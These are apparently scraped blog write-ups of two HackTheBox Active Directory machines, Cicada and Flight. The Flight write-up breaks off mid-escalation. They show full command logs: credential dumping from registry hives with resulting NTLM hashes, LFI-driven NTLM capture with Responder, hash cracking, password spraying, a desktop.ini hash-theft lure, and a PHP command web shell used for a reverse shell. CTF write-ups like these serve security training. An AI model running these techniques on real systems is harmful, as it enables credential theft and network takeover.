Falling back to NTLM authentication. Error: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great) INFO: Connecting to LDAP server: cicada.htb INFO: Testing resolved hostname connectivity dead:beef::230 INFO: Trying LDAP connection to dead:beef::230 INFO: Testing resolved hostname connectivity dead:beef::da30:eaa6:5445:ec0d INFO: Trying LDAP connection to dead:beef::da30:eaa6:5445:ec0d INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: cicada.htb INFO: Testing resolved hostname connectivity dead:beef::230 INFO: Trying LDAP connection to dead:beef::230 INFO: Testing resolved hostname connectivity dead:beef::da30:eaa6:5445:ec0d INFO: Trying LDAP connection to dead:beef::da30:eaa6:5445:ec0d INFO: Found 9 users INFO: Found 54 groups INFO: Found 3 gpos INFO: Found 2 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: CICADA-DC.cicada.htb INFO: Done in 00M 12S Checking the users in Bloodhound we can see that a target user is emily.oscars since she Tier Zero node with more privileges. Our user doesn\u0026rsquo;t any interesting domain privileges. Also we cannot get a shell to the DC yet.\nWhile looking the other user nodes we came across some interesting metadata for user david.orelious! Let\u0026rsquo;s check that in our kali bash also.\nDavid.Orelious\u0026#39; Password 1 2 3 4 5 6 7 8 9 10 11 12 13 └─$ rpcclient -U cicada/michael.wrightson 10.129.231.149 Password for [CICADA\\michael.wrightson]: rpcclient $\u0026gt; ls command not found: ls rpcclient $\u0026gt; querydispinfo index: 0xeda RID: 0x1f4 acb: 0x00000210 Account: Administrator Name: (null) Desc: Built-in account for administering the computer/domain index: 0xfeb RID: 0x454 acb: 0x00000210 Account: david.orelious Name: (null) Desc: Just in case I forget my password is aRt$Lp#7t*VQ!3 index: 0x101d RID: 0x641 acb: 0x00000210 Account: emily.oscars Name: Emily Oscars Desc: (null) index: 0xedb RID: 0x1f5 acb: 0x00000214 Account: Guest Name: (null) Desc: Built-in account for guest access to the computer/domain index: 0xfe7 RID: 0x450 acb: 0x00000210 Account: john.smoulder Name: (null) Desc: (null) index: 0xf10 RID: 0x1f6 acb: 0x00020011 Account: krbtgt Name: (null) Desc: Key Distribution Center Service Account index: 0xfe9 RID: 0x452 acb: 0x00000210 Account: michael.wrightson Name: (null) Desc: (null) index: 0xfe8 RID: 0x451 acb: 0x00000210 Account: sarah.dantelia Name: (null) Desc: (null) Hardcoded credentials With our second user now, david.orelious, we check out the shares and we find that we can access the DEV share.\n1 2 3 4 5 6 7 8 9 10 11 └─$ smbclient -U \u0026#34;CICADA\\david.orelious\u0026#34; \u0026#34;\\\\\\\\cicada.htb\\\\DEV\u0026#34; Password for [CICADA\\david.orelious]: Try \u0026#34;help\u0026#34; to get a list of possible commands. smb: \\\u0026gt; ls . D 0 Thu Mar 14 13:31:39 2024 .. D 0 Thu Mar 14 13:21:29 2024 Backup_script.ps1 A 601 Wed Aug 28 19:28:22 2024 4168447 blocks of size 4096. 480997 blocks available smb: \\\u0026gt; get Backup_script.ps1 getting file \\Backup_script.ps1 of size 601 as Backup_script.ps1 (3.1 KiloBytes/sec) (average 3.1 KiloBytes/sec) Hardcoded credentials found on a powershell script for emily.oscars.\nHardcoded Password 1 2 3 4 5 6 7 8 9 10 11 $sourceDirectory = \u0026#34;C:\\smb\u0026#34; $destinationDirectory = \u0026#34;D:\\Backup\u0026#34; $username = \u0026#34;emily.oscars\u0026#34; $password = ConvertTo-SecureString \u0026#34;Q!3@Lp#M6b*7t*Vt\u0026#34; -AsPlainText -Force $credentials = New-Object System.Management.Automation.PSCredential($username, $password) $dateStamp = Get-Date -Format \u0026#34;yyyyMMdd_HHmmss\u0026#34; $backupFileName = \u0026#34;smb_backup_$dateStamp.zip\u0026#34; $backupFilePath = Join-Path -Path $destinationDirectory -ChildPath $backupFileName Compress-Archive -Path $sourceDirectory -DestinationPath $backupFilePath Write-Host \u0026#34;Backup completed successfully. Backup file saved to: $backupFilePath\u0026#34; Last user gives us the user flag.\nRoot SeBackupPrivilege We already know that user emily is a member of Backup Operators and has the SeBackupPrivilege set. Info The SeBackupPrivilege is a Windows privilege that provides a user or process with the ability to read files and directories, regardless of the security settings on those objects. This privilege can be used by certain backup programs or processes that require the capability to back up or copy files that would not normally be accessible to the user.\nHowever, if this privilege is not properly managed or if it is granted to unauthorized users or processes, it can lead to a privilege escalation vulnerability. The SeBackupPrivilege vulnerability can be exploited by malicious actors to gain unauthorized access to sensitive files and data on a system.\nWe can basically abuse that by grabbing the local SAM and SYSTEM hive and decrypting it offline. This gives us the Administrator\u0026rsquo;s NTLM hash.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 *Evil-WinRM* PS C:\\Users\\emily.oscars.CICADA\\Documents\u0026gt; cd C:\\ *Evil-WinRM* PS C:\\\u0026gt; mkdir Temp Directory: C:\\ Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/27/2026 1:01 PM Temp *Evil-WinRM* PS C:\\\u0026gt; reg save hklm\\sam c:\\Temp\\sam The operation completed successfully. *Evil-WinRM* PS C:\\\u0026gt; reg save hklm\\system c:\\Temp\\system The operation completed successfully. *Evil-WinRM* PS C:\\Temp\u0026gt; ls Directory: C:\\Temp Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 1/27/2026 1:01 PM 49152 sam -a---- 1/27/2026 1:01 PM 18558976 system *Evil-WinRM* PS C:\\Temp\u0026gt; download system Info: Downloading C:\\Temp\\system to system Info: Download successful! *Evil-WinRM* PS C:\\Temp\u0026gt; download sam Administrator\u0026#39;s hash 1 2 3 4 5 6 7 8 9 └─$ impacket-secretsdump -sam sam -system system LOCAL Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620 [*] Dumping local SAM hashes (uid:rid:lmhash:nthash) Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341::: Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0::: [*] Cleaning up... With it we can PtH and use evil-winrm to get a shell on the DC as Administrator.\n","permalink":"https://p4n4s.com/posts/htb/box/cicada/","summary":"Cicada is an easy-difficult Windows machine that focuses on beginner Active Directory enumeration and exploitation. In this machine, players will enumerate the domain, identify users, navigate shares, uncover plaintext passwords stored in files, execute a password spray, and use the SeBackupPrivilege to achieve full system compromise.","title":"HTB: AD — Cicada"},{"content":"Machine Info Spoiler Flight is a hard Windows machine that starts with a website with two different virtual hosts. One of them is vulnerable to LFI and allows an attacker to retrieve an NTLM hash. Once cracked, the obtained clear text password will be sprayed across a list of valid usernames to discover a password re-use scenario. Once the attacker has SMB access as the user s.moon he is able to write to a share that gets accessed by other users. Certain files can be used to steal the NTLMv2 hash of the users that access the share. Once the second hash is cracked the attacker will be able to write a reverse shell in a share that hosts the web files and gain a shell on the box as low privileged user. Having credentials for the user c.bum, it will be possible to gain a shell as this user, which will allow the attacker to write an aspx web shell on a web site that\u0026amp;amp;#039;s configured to listen only on localhost. Once the attacker has command execution as the Microsoft Virtual Account he is able to run Rubeus to get a ticket for the machine account that can be used to perform a DCSync attack ultimately obtaining the hashes for the Administrator user. User Reconnaissance We are going to start by running our nmap scan:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 ports=$(nmap -p- --min-rate=1000 -T4 10.129.228.120 | grep \u0026#39;^[0-9]\u0026#39; | cut -d \u0026#39;/\u0026#39; -f 1 | tr \u0026#39;\\n\u0026#39; \u0026#39;,\u0026#39; | sed s/,$//) └─$ nmap -p$ports -sC -sV 10.129.228.120 Starting Nmap 7.95 ( https://nmap.org ) at 2026-01-19 21:42 CET Nmap scan report for 10.129.228.120 Host is up (0.12s latency). PORT STATE SERVICE VERSION 53/tcp open domain Simple DNS Plus 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) |_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 | http-methods: |_ Potentially risky methods: TRACE |_http-title: g0 Aviation 88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-01-20 03:42:10Z) 135/tcp open msrpc Microsoft Windows RPC 139/tcp open netbios-ssn Microsoft Windows netbios-ssn 389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? 464/tcp open kpasswd5? 593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped 3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: flight.htb, Site: Default-First-Site-Name) 3269/tcp open tcpwrapped 9389/tcp open mc-nmf .NET Message Framing 49667/tcp open msrpc Microsoft Windows RPC 49673/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0 49674/tcp open msrpc Microsoft Windows RPC 49693/tcp open msrpc Microsoft Windows RPC 58229/tcp open msrpc Microsoft Windows RPC Service Info: Host: G0; OS: Windows; CPE: cpe:/o:microsoft:windows Host script results: | smb2-time: | date: 2026-01-20T03:43:01 |_ start_date: N/A | smb2-security-mode: | 3:1:1: |_ Message signing enabled and required |_clock-skew: 6h59m59s 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 └─$ ffuf -u http://go.flight.htb/FUZZ -r -w /usr/share/seclists/Discovery/Web-Content/big.txt -e .php,.txt -recursion -recursion-depth 3 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://go.flight.htb/FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/big.txt :: Extensions : .php .txt :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 ________________________________________________ .htaccess.txt [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 93ms] .htaccess.php [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 101ms] .htpasswd.txt [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 101ms] .htaccess [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 104ms] .htpasswd.php [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 104ms] .htpasswd [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 150ms] Images [Status: 200, Size: 5513, Words: 508, Lines: 38, Duration: 40ms] aux.php [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 26ms] aux.txt [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 35ms] aux [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 37ms] cgi-bin/ [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 70ms] con [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 72ms] con.php [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 72ms] con.txt [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 71ms] css [Status: 200, Size: 1398, Words: 131, Lines: 19, Duration: 47ms] images [Status: 200, Size: 5513, Words: 508, Lines: 38, Duration: 136ms] js [Status: 200, Size: 2979, Words: 261, Lines: 26, Duration: 58ms] licenses [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 77ms] lpt2.txt [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 78ms] nul.php [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 72ms] nul [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 78ms] nul.txt [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 78ms] phpmyadmin [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 55ms] prn.php [Status: 403, Size: 302, Words: 22, Lines: 10, Duration: 49ms] server-info [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 123ms] server-status [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 156ms] webalizer [Status: 403, Size: 421, Words: 37, Lines: 12, Duration: 49ms] :: Progress: [61443/61443] :: Job [1/1] :: 724 req/sec :: Duration: [0:02:38] :: Errors: 0 :: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └─$ ffuf -u http://go.flight.htb/ -H \u0026#34;Host: FUZZ.flight.htb\u0026#34; -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fs 7069 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://go.flight.htb/ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt :: Header : Host: FUZZ.flight.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 7069 ________________________________________________ school [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 377ms] Our initial enumeration gave us immediately the school subdomain.\nSchool 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 └─$ ffuf -u \u0026#39;http://school.flight.htb/index.php?view=FUZZ\u0026#39; -r -w /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt -e .html -fs 1170,1102 /\u0026#39;___\\ /\u0026#39;___\\ /\u0026#39;___\\ /\\ \\__/ /\\ \\__/ __ __ /\\ \\__/ \\ \\ ,__\\\\ \\ ,__\\/\\ \\/\\ \\ \\ \\ ,__\\ \\ \\ \\_/ \\ \\ \\_/\\ \\ \\_\\ \\ \\ \\ \\_/ \\ \\_\\ \\ \\_\\ \\ \\____/ \\ \\_\\ \\/_/ \\/_/ \\/___/ \\/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://school.flight.htb/index.php?view=FUZZ :: Wordlist : FUZZ: /usr/share/seclists/Discovery/Web-Content/raft-small-files.txt :: Extensions : .html :: Follow redirects : true :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 1170,1102 ________________________________________________ index.php [Status: 200, Size: 3194, Words: 399, Lines: 92, Duration: 90ms] home.html [Status: 200, Size: 3996, Words: 1045, Lines: 91, Duration: 79ms] about.html [Status: 200, Size: 2791, Words: 498, Lines: 53, Duration: 77ms] blog.html [Status: 200, Size: 4720, Words: 1111, Lines: 76, Duration: 79ms] Home.html [Status: 200, Size: 3785, Words: 991, Lines: 85, Duration: 52ms] Index.php [Status: 200, Size: 3194, Words: 399, Lines: 92, Duration: 48ms] About.html [Status: 200, Size: 2791, Words: 498, Lines: 53, Duration: 104ms] Blog.html [Status: 200, Size: 4720, Words: 1111, Lines: 76, Duration: 133ms] Interestigly enough we see the view parameter that includes an HTML page. If abused it can lead to LFI. Let\u0026rsquo;s check that. After trying few things we can managed to include the PHP page itself.\nFor /index.php?view=index.php:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 \u0026lt;?php ini_set(\u0026#39;display_errors\u0026#39;, 0); error_reporting(E_ERROR | E_WARNING | E_PARSE); if(isset($_GET[\u0026#39;view\u0026#39;])){ $file=$_GET[\u0026#39;view\u0026#39;]; if ((strpos(urldecode($_GET[\u0026#39;view\u0026#39;]),\u0026#39;..\u0026#39;)!==false)|| (strpos(urldecode(strtolower($_GET[\u0026#39;view\u0026#39;])),\u0026#39;filter\u0026#39;)!==false)|| (strpos(urldecode($_GET[\u0026#39;view\u0026#39;]),\u0026#39;\\\\\u0026#39;)!==false)|| (strpos(urldecode($_GET[\u0026#39;view\u0026#39;]),\u0026#39;htaccess\u0026#39;)!==false)|| (strpos(urldecode($_GET[\u0026#39;view\u0026#39;]),\u0026#39;.shtml\u0026#39;)!==false) ){ echo \u0026#34;\u0026lt;h1\u0026gt;Suspicious Activity Blocked!\u0026#34;; echo \u0026#34;\u0026lt;h3\u0026gt;Incident will be reported\u0026lt;/h3\u0026gt;\\r\\n\u0026#34;; }else{ echo file_get_contents($_GET[\u0026#39;view\u0026#39;]);\t} }else{ echo file_get_contents(\u0026#34;C:\\\\xampp\\\\htdocs\\\\school.flight.htb\\\\home.html\u0026#34;); } ?\u0026gt; We confirm the LFI vulnerability by including some well known Windows files such as C:/Windows/system32/drivers/etc/hosts.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 # Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a \u0026#39;#\u0026#39; symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. #\t127.0.0.1 localhost #\t::1 localhost Let\u0026rsquo;s abuse that by pointing to a remote share which will be our attacker machine running responder. /index.php?view=///lol.txt\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 ─$ sudo responder -I tun0 __ .----.-----.-----.-----.-----.-----.--| |.-----.----. | _| -__|__ --| _ | _ | | _ || -__| _| |__| |_____|_____| __|_____|__|__|_____||_____|__| |__| NBT-NS, LLMNR \u0026amp; MDNS Responder 3.1.6.0 To support this project: Github -\u0026gt; https://github.com/sponsors/lgandx Paypal -\u0026gt; https://paypal.me/PythonResponder ... [SMB] NTLMv2-SSP Client : 10.129.228.120 [SMB] NTLMv2-SSP Username : flight\\svc_apache [SMB] NTLMv2-SSP Hash : svc_apache::flight:16db14cf0fda3906:276FE827B7205BBBFA76E20FAE0B3D63:010100000000000080A6AFD74D8ADC0182B78928BAFAC05C0000000002000800410059004400590001001E00570049004E002D00300037005000440055005A004400370037004300360004003400570049004E002D00300037005000440055005A00440037003700430036002E0041005900440059002E004C004F00430041004C000300140041005900440059002E004C004F00430041004C000500140041005900440059002E004C004F00430041004C000700080080A6AFD74D8ADC01060004000200000008003000300000000000000000000000003000002930EE7E3EA407E4FAD9E626EE43BE367F4D9768250EFCE762F54DB89F9BE50B0A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100370038000000000000000000 svc_apache\u0026#39;s password 1 2 3 4 5 6 7 8 └─$ hashcat -m 5600 svc_apache.ntlmv2 /usr/share/wordlists/rockyou.txt.gz SVC_APACHE::flight:16db14cf0fda3906:276fe827b7205bbbfa76e20fae0b3d63:010100000000000080a6afd74d8adc0182b78928bafac05c0000000002000800410059004400590001001e00570049004e002d00300037005000440055005a004400370037004300360004003400570049004e002d00300037005000440055005a00440037003700430036002e0041005900440059002e004c004f00430041004c000300140041005900440059002e004c004f00430041004c000500140041005900440059002e004c004f00430041004c000700080080a6afd74d8adc01060004000200000008003000300000000000000000000000003000002930ee7e3ea407e4fad9e626ee43be367f4d9768250efce762f54db89f9be50b0a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310034002e003100370038000000000000000000:S@Ss!K@*t13 Session..........: hashcat Status...........: Cracked Hash.Mode........: 5600 (NetNTLMv2) ... Second user Let\u0026rsquo;s enumerate further the shares and more now that we have credentials.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ┌──(panas㉿kalig5)-[~/Desktop/htb-labs/AD/flight] └─$ crackmapexec smb 10.129.228.120 -u svc_apache -p \u0026#39;\u0026lt;PASSWORD\u0026gt;\u0026#39; --shares SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) SMB 10.129.228.120 445 G0 [+] flight.htb\\svc_apache: SMB 10.129.228.120 445 G0 [+] Enumerated shares SMB 10.129.228.120 445 G0 Share Permissions Remark SMB 10.129.228.120 445 G0 ----- ----------- ------ SMB 10.129.228.120 445 G0 ADMIN$ Remote Admin SMB 10.129.228.120 445 G0 C$ Default share SMB 10.129.228.120 445 G0 IPC$ READ Remote IPC SMB 10.129.228.120 445 G0 NETLOGON READ Logon server share SMB 10.129.228.120 445 G0 Shared READ SMB 10.129.228.120 445 G0 SYSVOL READ Logon server share SMB 10.129.228.120 445 G0 Users READ SMB 10.129.228.120 445 G0 Web READ 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 └─$ impacket-smbclient s.moon@flight.htb Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # use Web # ls drw-rw-rw- 0 Thu Jan 22 04:52:00 2026 . drw-rw-rw- 0 Thu Jan 22 04:52:00 2026 .. drw-rw-rw- 0 Thu Jan 22 04:52:00 2026 flight.htb drw-rw-rw- 0 Thu Jan 22 04:52:00 2026 school.flight.htb # use Users # ls drw-rw-rw- 0 Thu Sep 22 22:16:56 2022 . drw-rw-rw- 0 Thu Sep 22 22:16:56 2022 .. drw-rw-rw- 0 Thu Sep 22 21:28:03 2022 .NET v4.5 drw-rw-rw- 0 Thu Sep 22 21:28:02 2022 .NET v4.5 Classic drw-rw-rw- 0 Mon Oct 31 19:34:00 2022 Administrator drw-rw-rw- 0 Tue Jul 20 22:19:19 2021 All Users drw-rw-rw- 0 Thu Sep 22 22:08:23 2022 C.Bum drw-rw-rw- 0 Tue Jul 20 21:20:24 2021 Default drw-rw-rw- 0 Tue Jul 20 22:19:19 2021 Default User -rw-rw-rw- 174 Tue Jul 20 22:17:23 2021 desktop.ini drw-rw-rw- 0 Tue Jul 20 21:23:25 2021 Public drw-rw-rw- 0 Fri Oct 21 20:50:21 2022 svc_apache Here we get explore the shares. We will use a cme to get everything with the spider_plus module.\n1 cme smb flight.htb -u svc_apache -p \u0026lt;password\u0026gt; -M spider_plus We checked all the files but nothing interesting found. Proceeding with enumerating the AD users.\n1 2 3 └─$ windapsearch -d flight.htb -m custom --filter \u0026#34;(objectClass=*)\u0026#34; --attrs cn -u svc_apache -o windap.out Password for [svc_apache@flight.htb]: [+] windap.out written Tip We used windapsearch here but the same and maybe quicker could be done with crackmapexec and the flag to enum users: --users. Re-used credentials found for S.Moon 1 2 3 4 └─$ crackmapexec smb 10.129.228.120 -u users.txt -p \u0026#39;S@Ss!K@*t13\u0026#39; --continue-on-success SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) SMB 10.129.228.120 445 G0 [+] flight.htb\\S.Moon:S@Ss!K@*t13 Third user With our new user credentials the only difference we see is that we have a WRITE access on the Shared share! The name indicates that this share maybe be used by others. We can try and lure users leaking their NTLMv2 hash and grab it again with responder. For that we will use a tool called ntlm_theft.py in order to create different files for that purpose.\n1 2 3 └─$ python3 ntlm_theft.py -g desktopini -s \u0026lt;ATTACKER-IP\u0026gt; -f malaka Created: malaka/desktop.ini (BROWSE TO FOLDER) Generation Complete. We create a desktopini file as after testing it was the only one we could upload!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 ─$ impacket-smbclient s.moon@flight.htb Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies Type help for list of commands # ls [-] No share selected # use Shared # ls drw-rw-rw- 0 Thu Jan 22 04:08:11 2026 . drw-rw-rw- 0 Thu Jan 22 04:08:11 2026 .. # put malaka/desktop.ini # ls drw-rw-rw- 0 Thu Jan 22 04:08:11 2026 . drw-rw-rw- 0 Thu Jan 22 04:08:11 2026 .. -rw-rw-rw- 48 Thu Jan 22 04:35:40 2026 desktop.ini We launch Responder and wait.\n1 2 [SMB] NTLMv2-SSP Username : flight.htb\\c.bum [SMB] NTLMv2-SSP Hash : c.bum::flight.htb:d116c9b76ada8fab:78314298D6F97D532D721F599AE56E70:010100000000000000B46D4B1F8BDC01F91F1489FA455A83000000000200080052004D0041004D0001001E00570049004E002D005200580052003300420039005A00430037005700370004003400570049004E002D005200580052003300420039005A0043003700570037002E0052004D0041004D002E004C004F00430041004C000300140052004D0041004D002E004C004F00430041004C000500140052004D0041004D002E004C004F00430041004C000700080000B46D4B1F8BDC0106000400020000000800300030000000000000000000000000300000E5651134448824B7C298F2EC76D5D5726F204B632876AD0B583862AB3D32C1830A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310034002E003100370038000000000000000000 C.Bum\u0026#39;s Cracked hash `Tikkycoll_431012284` Using impacket-smbclient we go the Users share and get the user.txt.\nRoot RunasCs C.Bum Running again cme we can see that we got now write access to the Web share.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 └─$ crackmapexec smb 10.129.228.120 -u c.bum -p \u0026lt;PASSWORD\u0026gt; --shares SMB 10.129.228.120 445 G0 [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) SMB 10.129.228.120 445 G0 [+] flight.htb\\c.bum:Tikkycoll_431012284 SMB 10.129.228.120 445 G0 [+] Enumerated shares SMB 10.129.228.120 445 G0 Share Permissions Remark SMB 10.129.228.120 445 G0 ----- ----------- ------ SMB 10.129.228.120 445 G0 ADMIN$ Remote Admin SMB 10.129.228.120 445 G0 C$ Default share SMB 10.129.228.120 445 G0 IPC$ READ Remote IPC SMB 10.129.228.120 445 G0 NETLOGON READ Logon server share SMB 10.129.228.120 445 G0 Shared READ,WRITE SMB 10.129.228.120 445 G0 SYSVOL READ Logon server share SMB 10.129.228.120 445 G0 Users READ SMB 10.129.228.120 445 G0 Web READ,WRITE So let\u0026rsquo;s upload a web shell and in order to achieve RCE and a reverse shell as a target goal as currently we don\u0026rsquo;t have that.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 └─$ cat php-bins/lol3.php \u0026lt;html\u0026gt; \u0026lt;body\u0026gt; \u0026lt;form method=\u0026#34;GET\u0026#34; name=\u0026#34;\u0026lt;?php echo basename($_SERVER[\u0026#39;PHP_SELF\u0026#39;]); ?\u0026gt;\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;TEXT\u0026#34; name=\u0026#34;cmd\u0026#34; id=\u0026#34;cmd\u0026#34; size=\u0026#34;80\u0026#34;\u0026gt; \u0026lt;input type=\u0026#34;SUBMIT\u0026#34; value=\u0026#34;Execute\u0026#34;\u0026gt; \u0026lt;/form\u0026gt; \u0026lt;pre\u0026gt; \u0026lt;?php if(isset($_GET[\u0026#39;cmd\u0026#39;])) { system($_GET[\u0026#39;cmd\u0026#39;]); } ?\u0026gt; \u0026lt;/pre\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;script\u0026gt;document.getElementById(\u0026#34;cmd\u0026#34;).focus();\u0026lt;/script\u0026gt; \u0026lt;/html\u0026gt; We put this web shell in flight or school folder and we reach out from the webpage. We bring a powershell payload from revshells.com and we launch our nc listener. We are going to use also rlwrap for having a bit more interactive shell.\nTip rlwrap is a readline wrapper. When you put it in front of something like nc, it adds interactive shell features that reverse shells normally lack, such as Command history (↑ ↓), Proper backspace and Cursor movement (← →). Finally we get the reverse shell.\n1 2 3 4 5 6 7 8 9 10 11 12 13 SHELL\u0026gt; ls Directory: C:\\xampp\\htdocs\\flight.htb Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 1/23/2026 3:22 PM css d----- 1/23/2026 3:22 PM images d----- 1/23/2026 3:22 PM js -a---- 2/23/2022 9:58 PM 7069 index.html -a---- 1/23/2026 2:54 PM 348 lol3.php We could look around and enumerate the host a bit. What catches our eye is the inetpub directory and while looking at the open ports we can port 8000 being open.\n1 TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING 4 Trying to hit it with curl returns us a problem with the hostname header. The development directory we see it has propably the pages of this website and we also check who has the rights to put files on it.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 PS C:\\inetpub\u0026gt; ls ls Directory: C:\\inetpub Mode LastWriteTime Length Name ---- ------------- ------ ---- d----- 9/22/2022 12:24 PM custerr d----- 1/23/2026 5:32 PM development d----- 9/22/2022 1:08 PM history d----- 9/22/2022 12:32 PM logs d----- 9/22/2022 12:24 PM temp d----- 9/22/2022 12:28 PM wwwroot PS C:\\inetpub\u0026gt; icacls development development flight\\C.Bum:(OI)(CI)(W) NT SERVICE\\TrustedInstaller:(I)(F) NT SERVICE\\TrustedInstaller:(I)(OI)(CI)(IO)(F) NT AUTHORITY\\SYSTEM:(I)(F) NT AUTHORITY\\SYSTEM:(I)(OI)(CI)(IO)(F) BUILTIN\\Administrators:(I)(F) BUILTIN\\Administrators:(I)(OI)(CI)(IO)(F) BUILTIN\\Users:(I)(RX) 